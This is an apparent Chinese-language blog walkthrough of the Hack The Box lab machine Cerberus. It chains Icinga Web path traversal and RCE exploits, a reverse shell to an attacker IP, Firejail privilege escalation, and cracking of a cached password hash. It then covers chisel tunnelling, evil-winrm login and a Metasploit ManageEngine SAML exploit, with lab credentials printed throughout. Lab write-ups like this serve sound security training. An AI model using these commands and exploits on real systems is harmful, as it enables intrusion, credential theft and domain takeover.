HTB-Cerberus


HTB-Cerberus

一、思路概要

1.信息收集找到icinga服务;

2.CVE-2022-24716(目录遍历)发现域控主机和icinga账户;

3.CVE-2022-24715(RCE)获取www-data用户权限,linpeas分析发现/usr/bin/firejail;

4.CVE-2022-31214(Firejail本地提权)获取root权限,并读取SSSD缓存找到域控账户;

5.fscan扫域控主机端口发现5985(Winrm服务);

6.chisel做代理将5985端口流量代理到本地,用evil-winrm登录域控主机;

7.发现ManageEngine ADSelfService Plus服务,chisel做socks代理,访问9251服务,MSF提权。

二、信息收集

Nmap

nmap -A 10.10.11.205

开放端口8080,URL:http://icinga.cerberus.local:8080/icingaweb2

添加域名到hosts文件

echo "10.10.11.205 icinga.cerberus.local" >> /etc/hosts

访问URL,界面如下

三、CVE-2022-24716(目录遍历)

google搜索关键字:icinga exploit

CVE-2022-24716:https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/

访问:http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/hosts

确认存在目录遍历,且可看到有域控,IP为172.16.22.1

又找到如下文章

https://exploit-notes.hdks.org/exploit/web/icinga-web-pentesting/

Icinga官方配置文档:https://icinga.com/docs/icinga-web/latest/doc/03-Configuration/

读到如下敏感信息

username = "matthew"
password = "IcingaWebPassword2023"

成功登录

四、CVE-2022-24715(RCE)

参考刚才的文章,复现远程代码执行漏洞CVE-2022-24715

先监听端口

nc -lvnp 9898

然后生成PEM文件

ssh-keygen -m pem

执行如下命令

Exploit:https://github.com/JacobEbben/CVE-2022-24715/blob/main/exploit.py

python3 CVE-2022-24715.py -t http://icinga.cerberus.local:8080/icingaweb2/ -I 10.10.14.8 -P 9898 -u matthew -p IcingaWebPassword2023 -e cert.pem

注:图中IP(10.10.14.35)与命令不一致是由于靶机环境不稳定,打靶期间openvpn重连过

成功反弹到shell,用户www-data,权限比较低

切换成交互式shell,便于执行命令

python3 -c 'import pty;pty.spawn("/bin/bash")'

本地kali开启http服务,传一个linpeas到靶机(此HTTP服务建议一直开着,后续会传好几个文件)

python3 -m http.server 80

靶机的shell窗口,依次执行如下命令

cd /tmp
wget http://10.10.14.8:80/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

linpeas分析结果中,找到如下图的信息,/usr/bin/firejail不是一个常规文件

五、CVE-2022-31214(Firejail本地提权)

google搜索关键字:firejail exploit

https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25

把以上链接的代码复制到本地kali的CVE-2022-31214.py文件中,然后在靶机的shell窗口用wget从本地下载,依次执行如下命令

wget http://10.10.14.8:80/CVE-2022-31214.py
chmod +x CVE-2022-31214.py
python3 CVE-2022-31214.py

在本地kali开一个新终端窗口,再弹一个shell回来,然后依次执行下列命令,成功获取root权限

python3 -c 'import pty;pty.spawn("/bin/bash")'
firejail --join=94129	#此处94129换成对应生成的值
su -

linpeas结果中,还看到如下内容

SSSD:https://sssd.io/docs/introduction.html

在如下目录位置查看缓存

root@icinga:/var/lib/sss/db# strings cache_cerberus.local.ldb
matthew@cerberus.local

$6$6LP9gyiXJCovapcy$0qmZTTjp9f2A0e7n4xk0L6ZoeKhhaCNm0VGJnX/Mu608QkliMpIy1FwKZlyUJAZU3FZ3.GQ.4N6bb9pxE3t3T0

爆破出hash值

john -w=/usr/share/wordlists/rockyou.txt hash.txt

147258369

fscan扫域控主机(172.16.22.1)端口,看到5985端口开放

wget http://10.10.14.8:80/fscan_amd64
chmod +x fscan_amd64
./fscan_amd64 -h 172.16.22.1 -p 1-65535

六、Winrm服务登录域控

google关键词:5985端口

搜到Winrm服务

用chisel把域控主机5985端口流量转发到本地kali

Kali以服务端运行chisel

chisel server -p 9899 --reverse

靶机以客户端运行chisel

wget http://10.10.14.8:80/chisel
chmod +x chisel
./chisel client --max-retry-count=1 10.10.14.8:9899 R:5985:172.16.22.1:5985

靶机执行完上述命令后,在本地kali可看到如下界面,最后一行表示流量转发连接已建立

在本地kali用evil-winrm登录Winrm服务

evil-winrm -i 127.0.0.1 -u matthew -p 147258369

userflag在C:\Users\matthew\Desktop目录下,依次执行如下命令成功获取userflag

cd ../Desktop
type user.txt

从本地kali传一个winPEAS到域控主机,运行一下,发现运行到一半会报错中断,也没什么有价值的

./winPEASany.exe

C:\Program Files (x86)目录看到ManageEngine服务

进到ManageEngine目录,看到ADSelfService Plus服务

七、ManageEngine ADSelfService Plus服务提权

google关键字:ManageEngine ADSelfService Plus port

官方文档:https://www.manageengine.com/products/self-service-password/help/admin-guide/Admin/connection.html

从官方文档中看到ADSelfService Plus默认端口是8888(http)和9251(https)

因为有http服务,所以需要做一个socks代理

本地kali以服务端运行chisel

chisel server -p 9900 --reverse

靶机以客户端运行chisel

cd "C:\Users\matthew\Desktop"
curl 10.10.14.8/chisel.exe -o chisel.exe
./chisel.exe client --max-retry-count=1 10.10.14.8:9900 R:1080:socks

靶机运行完上述命令后,本地kali可看到如下界面,表示socks代理已建立

目前为止,建立了两条代理路线

10.10.14.8(本地kali) 172.16.22.1(域控主机)
9899端口 5985端口(Winrm服务)
9900端口 1080(socks代理,为了连接9251端口服务)

在本地hosts文件添加如下条目,并把最开始添加的那条10.10.11.205的记录给注释掉

127.0.0.1    cerberus.local icinga.cerberus.local dc.cerberus.local

浏览器的代理插件修改代理如下

然后浏览器访问:https://dc.cerberus.local:9251,得到如下界面

用之前获得的账号密码登录

matthew@cerberus.local
147258369

登录成功是如下界面,在URL可看到guid,在F12控制台可看到请求头有一串编码

base64解码、格式化之后,得到如下代码,看到Issuer

启动MSF,搜索ADSelfService的exploit

msfconsole
search ADSelfService

选中exploit并设置参数(注意设置socks代理)

use exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966
set GUID 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
set ISSUER_URL http://dc.cerberus.local/adfs/services/trust
set RHOSTS 172.16.22.1
set LHOST 10.10.14.8

set AutoCheck false
set ReverseAllowProxy true
set Proxies socks5:127.0.0.1:1080
run

运行exploit,成功获取system权限

参考

https://hackmd.io/@b3n5/rJRSRUGBn

https://blog.csdn.net/qq_58869808/article/details/129786875

https://www.ngui.cc/article/show-1006958.html?action=onClick


文章作者: wa0er
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 wa0er !
评论
  目录